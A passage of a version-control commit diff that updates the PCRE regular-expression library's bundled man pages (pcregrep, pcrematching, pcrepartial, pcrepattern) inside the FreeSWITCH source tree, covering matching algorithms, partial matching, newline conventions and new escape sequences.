+                 Invert  the  sense  of  the match, so that lines which do not
                  match any of the patterns are the ones that are found.
 
        -w, --word-regex, --word-regexp
@@ -306,61 +411,61 @@
                  lent to having \b at the start and end of the pattern.
 
        -x, --line-regex, --line-regexp
-                 Force the patterns to be anchored (each must  start  matching
-                 at  the beginning of a line) and in addition, require them to
-                 match entire lines. This is equivalent  to  having  ^  and  $
+                 Force  the  patterns to be anchored (each must start matching
+                 at the beginning of a line) and in addition, require them  to
+                 match  entire  lines.  This  is  equivalent to having ^ and $
                  characters at the start and end of each alternative branch in
                  every pattern.
 
 
 ENVIRONMENT VARIABLES
 
-       The environment variables LC_ALL and LC_CTYPE  are  examined,  in  that
-       order,  for  a  locale.  The first one that is set is used. This can be
-       overridden by the --locale option.  If  no  locale  is  set,  the  PCRE
+       The  environment  variables  LC_ALL  and LC_CTYPE are examined, in that
+       order, for a locale. The first one that is set is  used.  This  can  be
+       overridden  by  the  --locale  option.  If  no  locale is set, the PCRE
        library's default (usually the "C" locale) is used.
 
 
 NEWLINES
 
-       The  -N (--newline) option allows pcregrep to scan files with different
-       newline conventions from the default.  However,  the  setting  of  this
-       option  does not affect the way in which pcregrep writes information to
-       the standard error and output streams. It uses the  string  "\n"  in  C
-       printf()  calls  to  indicate newlines, relying on the C I/O library to
-       convert this to an appropriate sequence if the  output  is  sent  to  a
+       The -N (--newline) option allows pcregrep to scan files with  different
+       newline  conventions  from  the  default.  However, the setting of this
+       option does not affect the way in which pcregrep writes information  to
+       the  standard  error  and  output streams. It uses the string "\n" in C
+       printf() calls to indicate newlines, relying on the C  I/O  library  to
+       convert  this  to  an  appropriate  sequence if the output is sent to a
        file.
 
 
 OPTIONS COMPATIBILITY
 
        The majority of short and long forms of pcregrep's options are the same
-       as in the GNU grep program. Any long option of  the  form  --xxx-regexp
-       (GNU  terminology) is also available as --xxx-regex (PCRE terminology).
-       However, the --locale, -M, --multiline, -u,  and  --utf-8  options  are
+       as  in  the  GNU grep program. Any long option of the form --xxx-regexp
+       (GNU terminology) is also available as --xxx-regex (PCRE  terminology).
+       However,  the  --locale,  -M,  --multiline, -u, and --utf-8 options are
        specific to pcregrep.
 
 
 OPTIONS WITH DATA
 
        There are four different ways in which an option with data can be spec-
-       ified.  If a short form option is used, the  data  may  follow  immedi-
+       ified.   If  a  short  form option is used, the data may follow immedi-
        ately, or in the next command line item. For example:
 
          -f/some/file
          -f /some/file
 
-       If  a long form option is used, the data may appear in the same command
+       If a long form option is used, the data may appear in the same  command
        line item, separated by an equals character, or (with one exception) it
        may appear in the next command line item. For example:
 
          --file=/some/file
          --file /some/file
 
-       Note,  however, that if you want to supply a file name beginning with ~
-       as data in a shell command, and have the  shell  expand  ~  to  a  home
+       Note, however, that if you want to supply a file name beginning with  ~
+       as  data  in  a  shell  command,  and have the shell expand ~ to a home
        directory, you must separate the file name from the option, because the
-       shell does not treat ~ specially unless it is at the start of an  item.
+       shell does not treat ~ specially unless it is at the start of an item.
 
        The  exception  to  the  above is the --colour (or --color) option, for
        which the data is optional. If this option does have data, it  must  be
@@ -389,11 +494,19 @@
        not affect the return code.
 
 
+SEE ALSO
+
+       pcrepattern(3), pcretest(1).
+
+
 AUTHOR
 
        Philip Hazel
        University Computing Service
-       Cambridge CB2 3QG, England.
+       Cambridge CB2 3QH, England.
 
-Last updated: 06 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+REVISION
+
+       Last updated: 01 March 2009
+       Copyright (c) 1997-2009 University of Cambridge.

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrematching.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrematching.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrematching.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,7 +26,7 @@
   <something> <something else> <something further>
 .sp
 there are three possible answers. The standard algorithm finds only one of
-them, whereas the DFA algorithm finds all three.
+them, whereas the alternative algorithm finds all three.
 .
 .SH "REGULAR EXPRESSIONS AS TREES"
 .rs
@@ -41,8 +41,8 @@
 .SH "THE STANDARD MATCHING ALGORITHM"
 .rs
 .sp
-In the terminology of Jeffrey Friedl's book \fIMastering Regular
-Expressions\fP, the standard algorithm is an "NFA algorithm". It conducts a
+In the terminology of Jeffrey Friedl's book "Mastering Regular
+Expressions", the standard algorithm is an "NFA algorithm". It conducts a
 depth-first search of the pattern tree. That is, it proceeds along a single
 path through the tree, checking that the subject matches what is required. When
 there is a mismatch, the algorithm tries any alternatives at the current point,
@@ -63,15 +63,16 @@
 matched by portions of the pattern in parentheses. This provides support for
 capturing parentheses and back references.
 .
-.SH "THE DFA MATCHING ALGORITHM"
+.SH "THE ALTERNATIVE MATCHING ALGORITHM"
 .rs
 .sp
-DFA stands for "deterministic finite automaton", but you do not need to
-understand the origins of that name. This algorithm conducts a breadth-first
-search of the tree. Starting from the first matching point in the subject, it
-scans the subject string from left to right, once, character by character, and
-as it does this, it remembers all the paths through the tree that represent
-valid matches.
+This algorithm conducts a breadth-first search of the tree. Starting from the
+first matching point in the subject, it scans the subject string from left to
+right, once, character by character, and as it does this, it remembers all the
+paths through the tree that represent valid matches. In Friedl's terminology,
+this is a kind of "DFA algorithm", though it is not implemented as a
+traditional finite state machine (it keeps multiple states active
+simultaneously).
 .P
 The scan continues until either the end of the subject is reached, or there are
 no more unterminated paths. At this point, terminated paths represent the
@@ -92,11 +93,20 @@
 matches that start at later positions.
 .P
 There are a number of features of PCRE regular expressions that are not
-supported by the DFA matching algorithm. They are as follows:
+supported by the alternative matching algorithm. They are as follows:
 .P
 1. Because the algorithm finds all possible matches, the greedy or ungreedy
 nature of repetition quantifiers is not relevant. Greedy and ungreedy
-quantifiers are treated in exactly the same way.
+quantifiers are treated in exactly the same way. However, possessive
+quantifiers can make a difference when what follows could also match what is
+quantified, for example in a pattern like this:
+.sp
+  ^a++\ew!
+.sp
+This pattern matches "aaab!" but not "aaa!", which would be matched by a
+non-possessive quantifier. Similarly, if an atomic group is present, it is
+matched as if it were a standalone pattern at the current point, and the
+longest match is then "locked in" for the rest of the overall pattern.
 .P
 2. When dealing with multiple paths through the tree simultaneously, it is not
 straightforward to keep track of captured substrings for the different matching
@@ -107,21 +117,27 @@
 not supported, and cause errors if encountered.
 .P
 4. For the same reason, conditional expressions that use a backreference as the
-condition are not supported.
+condition or test for a specific group recursion are not supported.
 .P
-5. Callouts are supported, but the value of the \fIcapture_top\fP field is
+5. Because many paths through the tree may be active, the \eK escape sequence,
+which resets the start of the match when encountered (but may be on some paths
+and not on others), is not supported. It causes an error if encountered.
+.P
+6. Callouts are supported, but the value of the \fIcapture_top\fP field is
 always 1, and the value of the \fIcapture_last\fP field is always -1.
 .P
-6.
-The \eC escape sequence, which (in the standard algorithm) matches a single
-byte, even in UTF-8 mode, is not supported because the DFA algorithm moves
-through the subject string one character at a time, for all active paths
+7. The \eC escape sequence, which (in the standard algorithm) matches a single
+byte, even in UTF-8 mode, is not supported because the alternative algorithm
+moves through the subject string one character at a time, for all active paths
 through the tree.
+.P
+8. Except for (*FAIL), the backtracking control verbs such as (*PRUNE) are not
+supported. (*FAIL) is supported, and behaves like a failing negative assertion.
 .
-.SH "ADVANTAGES OF THE DFA ALGORITHM"
+.SH "ADVANTAGES OF THE ALTERNATIVE ALGORITHM"
 .rs
 .sp
-Using the DFA matching algorithm provides the following advantages:
+Using the alternative matching algorithm provides the following advantages:
 .P
 1. All possible matches (at a single point in the subject) are automatically
 found, and in particular, the longest match is found. To find more than one
@@ -130,17 +146,18 @@
 .P
 2. There is much better support for partial matching. The restrictions on the
 content of the pattern that apply when using the standard algorithm for partial
-matching do not apply to the DFA algorithm. For non-anchored patterns, the
-starting position of a partial match is available.
+matching do not apply to the alternative algorithm. For non-anchored patterns,
+the starting position of a partial match is available.
 .P
-3. Because the DFA algorithm scans the subject string just once, and never
-needs to backtrack, it is possible to pass very long subject strings to the
-matching function in several pieces, checking for partial matching each time.
+3. Because the alternative algorithm scans the subject string just once, and
+never needs to backtrack, it is possible to pass very long subject strings to
+the matching function in several pieces, checking for partial matching each
+time.
 .
-.SH "DISADVANTAGES OF THE DFA ALGORITHM"
+.SH "DISADVANTAGES OF THE ALTERNATIVE ALGORITHM"
 .rs
 .sp
-The DFA algorithm suffers from a number of disadvantages:
+The alternative algorithm suffers from a number of disadvantages:
 .P
 1. It is substantially slower than the standard algorithm. This is partly
 because it has to search for all possible matches, but is also because it is
@@ -148,10 +165,24 @@
 .P
 2. Capturing parentheses and back references are not supported.
 .P
-3. The "atomic group" feature of PCRE regular expressions is supported, but
-does not provide the advantage that it does for the standard algorithm.
-.P
-.in 0
-Last updated: 06 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+3. Although atomic groups are supported, their use does not provide the
+performance advantage that it does for the standard algorithm.
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 19 April 2008
+Copyright (c) 1997-2008 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrepartial.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrepartial.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrepartial.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -71,6 +71,8 @@
 .P
 If PCRE_PARTIAL is set for a pattern that does not conform to the restrictions,
 \fBpcre_exec()\fP returns the error code PCRE_ERROR_BADPARTIAL (-13).
+You can use the PCRE_INFO_OKPARTIAL call to \fBpcre_fullinfo()\fP to find out
+if a compiled pattern can be used for partial matching.
 .
 .
 .SH "EXAMPLE OF PARTIAL MATCHING USING PCRETEST"
@@ -95,10 +97,11 @@
 .sp
 The first data string is matched completely, so \fBpcretest\fP shows the
 matched substrings. The remaining four strings do not match the complete
-pattern, but the first two are partial matches. The same test, using DFA
-matching (by means of the \eD escape sequence), produces the following output:
+pattern, but the first two are partial matches. The same test, using
+\fBpcre_dfa_exec()\fP matching (by means of the \eD escape sequence), produces
+the following output:
 .sp
-    re> /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
+    re> /^\ed?\ed(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\ed\ed$/
   data> 25jun04\eP\eD
    0: 25jun04
   data> 23dec3\eP\eD
@@ -119,13 +122,13 @@
 .sp
 When a partial match has been found using \fBpcre_dfa_exec()\fP, it is possible
 to continue the match by providing additional subject data and calling
-\fBpcre_dfa_exec()\fP again with the PCRE_DFA_RESTART option and the same
-working space (where details of the previous partial match are stored). Here is
-an example using \fBpcretest\fP, where the \eR escape sequence sets the
-PCRE_DFA_RESTART option and the \eD escape sequence requests the use of
-\fBpcre_dfa_exec()\fP:
+\fBpcre_dfa_exec()\fP again with the same compiled regular expression, this
+time setting the PCRE_DFA_RESTART option. You must also pass the same working
+space as before, because this is where details of the previous partial match
+are stored. Here is an example using \fBpcretest\fP, using the \eR escape
+sequence to set the PCRE_DFA_RESTART option (\eP and \eD are as above):
 .sp
-    re> /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
+    re> /^\ed?\ed(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\ed\ed$/
   data> 23ja\eP\eD
   Partial match: 23ja
   data> n05\eR\eD
@@ -137,9 +140,10 @@
 not retain the previously partially-matched string. It is up to the calling
 program to do that if it needs to.
 .P
-This facility can be used to pass very long subject strings to
-\fBpcre_dfa_exec()\fP. However, some care is needed for certain types of
-pattern.
+You can set PCRE_PARTIAL with PCRE_DFA_RESTART to continue partial matching
+over multiple segments. This facility can be used to pass very long subject
+strings to \fBpcre_dfa_exec()\fP. However, some care is needed for certain
+types of pattern.
 .P
 1. If the pattern contains tests for the beginning or end of a line, you need
 to pass the PCRE_NOTBOL or PCRE_NOTEOL options, as appropriate, when the
@@ -147,7 +151,7 @@
 .P
 2. If the pattern contains backward assertions (including \eb or \eB), you need
 to arrange for some overlap in the subject strings to allow for this. For
-example, you could pass the subject in chunks that were 500 bytes long, but in
+example, you could pass the subject in chunks that are 500 bytes long, but in
 a buffer of 700 bytes, with the starting offset set to 200 and the previous 200
 bytes at the start of the buffer.
 .P
@@ -155,7 +159,7 @@
 always produce exactly the same result as matching over one single long string.
 The difference arises when there are multiple matching possibilities, because a
 partial match result is given only when there are no completed matches in a
-call to fBpcre_dfa_exec()\fP. This means that as soon as the shortest match has
+call to \fBpcre_dfa_exec()\fP. This means that as soon as the shortest match has
 been found, continuation to a new subject segment is no longer possible.
 Consider this \fBpcretest\fP example:
 .sp
@@ -196,8 +200,20 @@
 where no string can be a partial match for both alternatives.
 .
 .
-.P
-.in 0
-Last updated: 16 January 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 04 June 2007
+Copyright (c) 1997-2007 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrepattern.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrepattern.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrepattern.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,18 +4,34 @@
 .SH "PCRE REGULAR EXPRESSION DETAILS"
 .rs
 .sp
-The syntax and semantics of the regular expressions supported by PCRE are
-described below. Regular expressions are also described in the Perl
-documentation and in a number of books, some of which have copious examples.
-Jeffrey Friedl's "Mastering Regular Expressions", published by O'Reilly, covers
-regular expressions in great detail. This description of PCRE's regular
-expressions is intended as reference material.
+The syntax and semantics of the regular expressions that are supported by PCRE
+are described in detail below. There is a quick-reference syntax summary in the
+.\" HREF
+\fBpcresyntax\fP
+.\"
+page. PCRE tries to match Perl syntax and semantics as closely as it can. PCRE
+also supports some alternative regular expression syntax (which does not
+conflict with the Perl syntax) in order to provide some compatibility with
+regular expressions in Python, .NET, and Oniguruma.
 .P
+Perl's regular expressions are described in its own documentation, and
+regular expressions in general are covered in a number of books, some of which
+have copious examples. Jeffrey Friedl's "Mastering Regular Expressions",
+published by O'Reilly, covers regular expressions in great detail. This
+description of PCRE's regular expressions is intended as reference material.
+.P
 The original operation of PCRE was on strings of one-byte characters. However,
 there is now also support for UTF-8 character strings. To use this, you must
 build PCRE to include UTF-8 support, and then call \fBpcre_compile()\fP with
-the PCRE_UTF8 option. How this affects pattern matching is mentioned in several
-places below. There is also a summary of UTF-8 features in the
+the PCRE_UTF8 option. There is also a special sequence that can be given at the
+start of a pattern:
+.sp
+  (*UTF8)
+.sp
+Starting a pattern with this sequence is equivalent to setting the PCRE_UTF8
+option. This feature is not Perl-compatible. How setting UTF-8 mode affects
+pattern matching is mentioned in several places below. There is also a summary
+of UTF-8 features in the
 .\" HTML <a href="pcre.html#utf8support">
 .\" </a>
 section on UTF-8 support
@@ -30,13 +46,68 @@
 PCRE when its main matching function, \fBpcre_exec()\fP, is used.
 From release 6.0, PCRE offers a second matching function,
 \fBpcre_dfa_exec()\fP, which matches using a different algorithm that is not
-Perl-compatible. The advantages and disadvantages of the alternative function,
-and how it differs from the normal function, are discussed in the
+Perl-compatible. Some of the features discussed below are not available when
+\fBpcre_dfa_exec()\fP is used. The advantages and disadvantages of the
+alternative function, and how it differs from the normal function, are
+discussed in the
 .\" HREF
 \fBpcrematching\fP
 .\"
 page.
+.
+.
+.SH "NEWLINE CONVENTIONS"
+.rs
+.sp
+PCRE supports five different conventions for indicating line breaks in
+strings: a single CR (carriage return) character, a single LF (linefeed)
+character, the two-character sequence CRLF, any of the three preceding, or any
+Unicode newline sequence. The
+.\" HREF
+\fBpcreapi\fP
+.\"
+page has
+.\" HTML <a href="pcreapi.html#newlines">
+.\" </a>
+further discussion
+.\"
+about newlines, and shows how to set the newline convention in the
+\fIoptions\fP arguments for the compiling and matching functions.
 .P
+It is also possible to specify a newline convention by starting a pattern
+string with one of the following five sequences:
+.sp
+  (*CR)        carriage return
+  (*LF)        linefeed
+  (*CRLF)      carriage return, followed by linefeed
+  (*ANYCRLF)   any of the three above
+  (*ANY)       all Unicode newline sequences
+.sp
+These override the default and the options given to \fBpcre_compile()\fP. For
+example, on a Unix system where LF is the default newline sequence, the pattern
+.sp
+  (*CR)a.b
+.sp
+changes the convention to CR. That pattern matches "a\enb" because LF is no
+longer a newline. Note that these special settings, which are not
+Perl-compatible, are recognized only at the very start of a pattern, and that
+they must be in upper case. If more than one of them is present, the last one
+is used.
+.P
+The newline convention does not affect what the \eR escape sequence matches. By
+default, this is any Unicode newline sequence, for Perl compatibility. However,
+this can be changed; see the description of \eR in the section entitled
+.\" HTML <a href="#newlineseq">
+.\" </a>
+"Newline sequences"
+.\"
+below. A change of \eR setting can be combined with a change of newline
+convention.
+.
+.
+.SH "CHARACTERS AND METACHARACTERS"
+.rs
+.sp
 A regular expression is a pattern that is matched against a subject string from
 left to right. Most characters stand for themselves in a pattern, and match the
 corresponding characters in the subject. As a trivial example, the pattern
@@ -60,8 +131,8 @@
 .P
 There are two different sets of metacharacters: those that are recognized
 anywhere in the pattern except within square brackets, and those that are
-recognized in square brackets. Outside square brackets, the metacharacters are
-as follows:
+recognized within square brackets. Outside square brackets, the metacharacters
+are as follows:
 .sp
   \e      general escape character with several uses
   ^      assert start of string (or line, in multiline mode)
@@ -92,6 +163,7 @@
 .sp
 The following sections describe the use of each of the metacharacters.
 .
+.
 .SH BACKSLASH
 .rs
 .sp
@@ -142,7 +214,7 @@
   \ecx       "control-x", where x is any character
   \ee        escape (hex 1B)
   \ef        formfeed (hex 0C)
-  \en        newline (hex 0A)
+  \en        linefeed (hex 0A)
   \er        carriage return (hex 0D)
   \et        tab (hex 09)
   \eddd      character with octal code ddd, or backreference
@@ -157,12 +229,15 @@
 After \ex, from zero to two hexadecimal digits are read (letters can be in
 upper or lower case). Any number of hexadecimal digits may appear between \ex{
 and }, but the value of the character code must be less than 256 in non-UTF-8
-mode, and less than 2**31 in UTF-8 mode (that is, the maximum hexadecimal value
-is 7FFFFFFF). If characters other than hexadecimal digits appear between \ex{
-and }, or if there is no terminating }, this form of escape is not recognized.
-Instead, the initial \ex will be interpreted as a basic hexadecimal escape,
-with no following digits, giving a character whose value is zero.
+mode, and less than 2**31 in UTF-8 mode. That is, the maximum value in
+hexadecimal is 7FFFFFFF. Note that this is bigger than the largest Unicode code
+point, which is 10FFFF.
 .P
+If characters other than hexadecimal digits appear between \ex{ and }, or if
+there is no terminating }, this form of escape is not recognized. Instead, the
+initial \ex will be interpreted as a basic hexadecimal escape, with no
+following digits, giving a character whose value is zero.
+.P
 Characters whose value is less than 256 can be defined by either of the two
 syntaxes for \ex. There is no difference in the way they are handled. For
 example, \exdc is exactly the same as \ex{dc}.
@@ -190,7 +265,7 @@
 .P
 Inside a character class, or if the decimal number is greater than 9 and there
 have not been that many capturing subpatterns, PCRE re-reads up to three octal
-digits following the backslash, ane uses them to generate a data character. Any
+digits following the backslash, and uses them to generate a data character. Any
 subsequent digits stand for themselves. In non-UTF-8 mode, the value of a
 character specified in octal must be less than \e400. In UTF-8 mode, values up
 to \e777 are permitted. For example:
@@ -221,24 +296,60 @@
 All the sequences that define a single character value can be used both inside
 and outside character classes. In addition, inside a character class, the
 sequence \eb is interpreted as the backspace character (hex 08), and the
-sequence \eX is interpreted as the character "X". Outside a character class,
-these sequences have different meanings
+sequences \eR and \eX are interpreted as the characters "R" and "X",
+respectively. Outside a character class, these sequences have different
+meanings
 .\" HTML <a href="#uniextseq">
 .\" </a>
 (see below).
 .\"
 .
 .
+.SS "Absolute and relative back references"
+.rs
+.sp
+The sequence \eg followed by an unsigned or a negative number, optionally
+enclosed in braces, is an absolute or relative back reference. A named back
+reference can be coded as \eg{name}. Back references are discussed
+.\" HTML <a href="#backreferences">
+.\" </a>
+later,
+.\"
+following the discussion of
+.\" HTML <a href="#subpattern">
+.\" </a>
+parenthesized subpatterns.
+.\"
+.
+.
+.SS "Absolute and relative subroutine calls"
+.rs
+.sp
+For compatibility with Oniguruma, the non-Perl syntax \eg followed by a name or
+a number enclosed either in angle brackets or single quotes, is an alternative
+syntax for referencing a subpattern as a "subroutine". Details are discussed
+.\" HTML <a href="#onigurumasubroutines">
+.\" </a>
+later.
+.\"
+Note that \eg{...} (Perl syntax) and \eg<...> (Oniguruma syntax) are \fInot\fP
+synonymous. The former is a back reference; the latter is a subroutine call.
+.
+.
 .SS "Generic character types"
 .rs
 .sp
-The third use of backslash is for specifying generic character types. The
+Another use of backslash is for specifying generic character types. The
 following are always recognized:
 .sp
   \ed     any decimal digit
   \eD     any character that is not a decimal digit
+  \eh     any horizontal whitespace character
+  \eH     any character that is not a horizontal whitespace character
   \es     any whitespace character
   \eS     any character that is not a whitespace character
+  \ev     any vertical whitespace character
+  \eV     any character that is not a vertical whitespace character
   \ew     any "word" character
   \eW     any "non-word" character
 .sp
@@ -252,10 +363,51 @@
 .P
 For compatibility with Perl, \es does not match the VT character (code 11).
 This makes it different from the the POSIX "space" class. The \es characters
-are HT (9), LF (10), FF (12), CR (13), and space (32). (If "use locale;" is
+are HT (9), LF (10), FF (12), CR (13), and space (32). If "use locale;" is
 included in a Perl script, \es may match the VT character. In PCRE, it never
-does.)
+does.
 .P
+In UTF-8 mode, characters with values greater than 128 never match \ed, \es, or
+\ew, and always match \eD, \eS, and \eW. This is true even when Unicode
+character property support is available. These sequences retain their original
+meanings from before UTF-8 support was available, mainly for efficiency
+reasons. Note that this also affects \eb, because it is defined in terms of \ew
+and \eW.
+.P
+The sequences \eh, \eH, \ev, and \eV are Perl 5.10 features. In contrast to the
+other sequences, these do match certain high-valued codepoints in UTF-8 mode.
+The horizontal space characters are:
+.sp
+  U+0009     Horizontal tab
+  U+0020     Space
+  U+00A0     Non-break space
+  U+1680     Ogham space mark
+  U+180E     Mongolian vowel separator
+  U+2000     En quad
+  U+2001     Em quad
+  U+2002     En space
+  U+2003     Em space
+  U+2004     Three-per-em space
+  U+2005     Four-per-em space
+  U+2006     Six-per-em space
+  U+2007     Figure space
+  U+2008     Punctuation space
+  U+2009     Thin space
+  U+200A     Hair space
+  U+202F     Narrow no-break space
+  U+205F     Medium mathematical space
+  U+3000     Ideographic space
+.sp
+The vertical space characters are:
+.sp
+  U+000A     Linefeed
+  U+000B     Vertical tab
+  U+000C     Formfeed
+  U+000D     Carriage return
+  U+0085     Next line
+  U+2028     Line separator
+  U+2029     Paragraph separator
+.P
 A "word" character is an underscore or any character less than 256 that is a
 letter or digit. The definition of letters and digits is controlled by PCRE's
 low-valued character tables, and may vary if locale-specific matching is taking
@@ -268,13 +420,59 @@
 .\" HREF
 \fBpcreapi\fP
 .\"
-page). For example, in the "fr_FR" (French) locale, some character codes
-greater than 128 are used for accented letters, and these are matched by \ew.
+page). For example, in a French locale such as "fr_FR" in Unix-like systems,
+or "french" in Windows, some character codes greater than 128 are used for
+accented letters, and these are matched by \ew. The use of locales with Unicode
+is discouraged.
+.
+.
+.\" HTML <a name="newlineseq"></a>
+.SS "Newline sequences"
+.rs
+.sp
+Outside a character class, by default, the escape sequence \eR matches any
+Unicode newline sequence. This is a Perl 5.10 feature. In non-UTF-8 mode \eR is
+equivalent to the following:
+.sp
+  (?>\er\en|\en|\ex0b|\ef|\er|\ex85)
+.sp
+This is an example of an "atomic group", details of which are given
+.\" HTML <a href="#atomicgroup">
+.\" </a>
+below.
+.\"
+This particular group matches either the two-character sequence CR followed by
+LF, or one of the single characters LF (linefeed, U+000A), VT (vertical tab,
+U+000B), FF (formfeed, U+000C), CR (carriage return, U+000D), or NEL (next
+line, U+0085). The two-character sequence is treated as a single unit that
+cannot be split.
 .P
-In UTF-8 mode, characters with values greater than 128 never match \ed, \es, or
-\ew, and always match \eD, \eS, and \eW. This is true even when Unicode
-character property support is available. The use of locales with Unicode is
-discouraged.
+In UTF-8 mode, two additional characters whose codepoints are greater than 255
+are added: LS (line separator, U+2028) and PS (paragraph separator, U+2029).
+Unicode character property support is not needed for these characters to be
+recognized.
+.P
+It is possible to restrict \eR to match only CR, LF, or CRLF (instead of the
+complete set of Unicode line endings) by setting the option PCRE_BSR_ANYCRLF
+either at compile time or when the pattern is matched. (BSR is an abbrevation
+for "backslash R".) This can be made the default when PCRE is built; if this is
+the case, the other behaviour can be requested via the PCRE_BSR_UNICODE option.
+It is also possible to specify these settings by starting a pattern string with
+one of the following sequences:
+.sp
+  (*BSR_ANYCRLF)   CR, LF, or CRLF only
+  (*BSR_UNICODE)   any Unicode newline sequence
+.sp
+These override the default and the options given to \fBpcre_compile()\fP, but
+they can be overridden by options given to \fBpcre_exec()\fP. Note that these
+special settings, which are not Perl-compatible, are recognized only at the
+very start of a pattern, and that they must be in upper case. If more than one
+of them is present, the last one is used. They can be combined with a change of
+newline convention, for example, a pattern can start with:
+.sp
+  (*ANY)(*BSR_ANYCRLF)
+.sp
+Inside a character class, \eR matches the letter "R".
 .
 .
 .\" HTML <a name="uniextseq"></a>
@@ -282,8 +480,10 @@
 .rs
 .sp
 When PCRE is built with Unicode character property support, three additional
-escape sequences to match character properties are available when UTF-8 mode
-is selected. They are:
+escape sequences that match characters with specific properties are available.
+When not in UTF-8 mode, these sequences are of course limited to testing
+characters whose codepoints are less than 256, but they do work in this mode.
+The extra escape sequences are:
 .sp
   \ep{\fIxx\fP}   a character with the \fIxx\fP property
   \eP{\fIxx\fP}   a character without the \fIxx\fP property
@@ -307,6 +507,7 @@
 .P
 Arabic,
 Armenian,
+Balinese,
 Bengali,
 Bopomofo,
 Braille,
@@ -316,6 +517,7 @@
 Cherokee,
 Common,
 Coptic,
+Cuneiform,
 Cypriot,
 Cyrillic,
 Deseret,
@@ -345,11 +547,14 @@
 Mongolian,
 Myanmar,
 New_Tai_Lue,
+Nko,
 Ogham,
 Old_Italic,
 Old_Persian,
 Oriya,
 Osmanya,
+Phags_Pa,
+Phoenician,
 Runic,
 Shavian,
 Sinhala,
@@ -430,6 +635,15 @@
 the Lu, Ll, or Lt property, in other words, a letter that is not classified as
 a modifier or "other".
 .P
+The Cs (Surrogate) property applies only to characters in the range U+D800 to
+U+DFFF. Such characters are not valid in UTF-8 strings (see RFC 3629) and so
+cannot be tested by PCRE, unless UTF-8 validity checking has been turned off
+(see the discussion of PCRE_NO_UTF8_CHECK in the
+.\" HREF
+\fBpcreapi\fP
+.\"
+page).
+.P
 The long synonyms for these properties that Perl supports (such as \ep{Letter})
 are not supported by PCRE, nor is it permitted to prefix any of these
 properties with "Is".
@@ -454,7 +668,8 @@
 (see below).
 .\"
 Characters with the "mark" property are typically accents that affect the
-preceding character.
+preceding character. None of them have codepoints less than 256, so in
+non-UTF-8 mode \eX matches any one character.
 .P
 Matching characters by Unicode property is not fast, because PCRE has to search
 a structure that contains data for over fifteen thousand characters. That is
@@ -462,11 +677,41 @@
 properties in PCRE.
 .
 .
+.\" HTML <a name="resetmatchstart"></a>
+.SS "Resetting the match start"
+.rs
+.sp
+The escape sequence \eK, which is a Perl 5.10 feature, causes any previously
+matched characters not to be included in the final matched sequence. For
+example, the pattern:
+.sp
+  foo\eKbar
+.sp
+matches "foobar", but reports that it has matched "bar". This feature is
+similar to a lookbehind assertion
+.\" HTML <a href="#lookbehind">
+.\" </a>
+(described below).
+.\"
+However, in this case, the part of the subject before the real match does not
+have to be of fixed length, as lookbehind assertions do. The use of \eK does
+not interfere with the setting of
+.\" HTML <a href="#subpattern">
+.\" </a>
+captured substrings.
+.\"
+For example, when the pattern
+.sp
+  (foo)\eKbar
+.sp
+matches "foobar", the first substring is still set to "foo".
+.
+.
 .\" HTML <a name="smallassertions"></a>
 .SS "Simple assertions"
 .rs
 .sp
-The fourth use of backslash is for certain simple assertions. An assertion
+The final use of backslash is for certain simple assertions. An assertion
 specifies a condition that has to be met at a particular point in a match,
 without consuming any characters from the subject string. The use of
 subpatterns for more complicated assertions is described
@@ -478,10 +723,11 @@
 .sp
   \eb     matches at a word boundary
   \eB     matches when not at a word boundary
-  \eA     matches at start of subject
-  \eZ     matches at end of subject or before newline at end
-  \ez     matches at end of subject
-  \eG     matches at first matching position in subject
+  \eA     matches at the start of the subject
+  \eZ     matches at the end of the subject
+          also matches before a newline at the end of the subject
+  \ez     matches only at the end of the subject
+  \eG     matches at the first matching position in the subject
 .sp
 These assertions may not appear in character classes (but note that \eb has a
 different meaning, namely the backspace character, inside a character class).
@@ -578,15 +824,19 @@
 .sp
 Outside a character class, a dot in the pattern matches any one character in
 the subject string except (by default) a character that signifies the end of a
-line. In UTF-8 mode, the matched character may be more than one byte long. When
-a line ending is defined as a single character (CR or LF), dot never matches
-that character; when the two-character sequence CRLF is used, dot does not
-match CR if it is immediately followed by LF, but otherwise it matches all
-characters (including isolated CRs and LFs).
+line. In UTF-8 mode, the matched character may be more than one byte long.
 .P
+When a line ending is defined as a single character, dot never matches that
+character; when the two-character sequence CRLF is used, dot does not match CR
+if it is immediately followed by LF, but otherwise it matches all characters
+(including isolated CRs and LFs). When any Unicode line endings are being
+recognized, dot does not match CR or LF or any of the other line ending
+characters.
+.P
 The behaviour of dot with regard to newlines can be changed. If the PCRE_DOTALL
-option is set, a dot matches any one character, without exception. If newline
-is defined as the two-character sequence CRLF, it takes two dots to match it.
+option is set, a dot matches any one character, without exception. If the
+two-character sequence CRLF is present in the subject string, it takes two dots
+to match it.
 .P
 The handling of dot is entirely independent of the handling of circumflex and
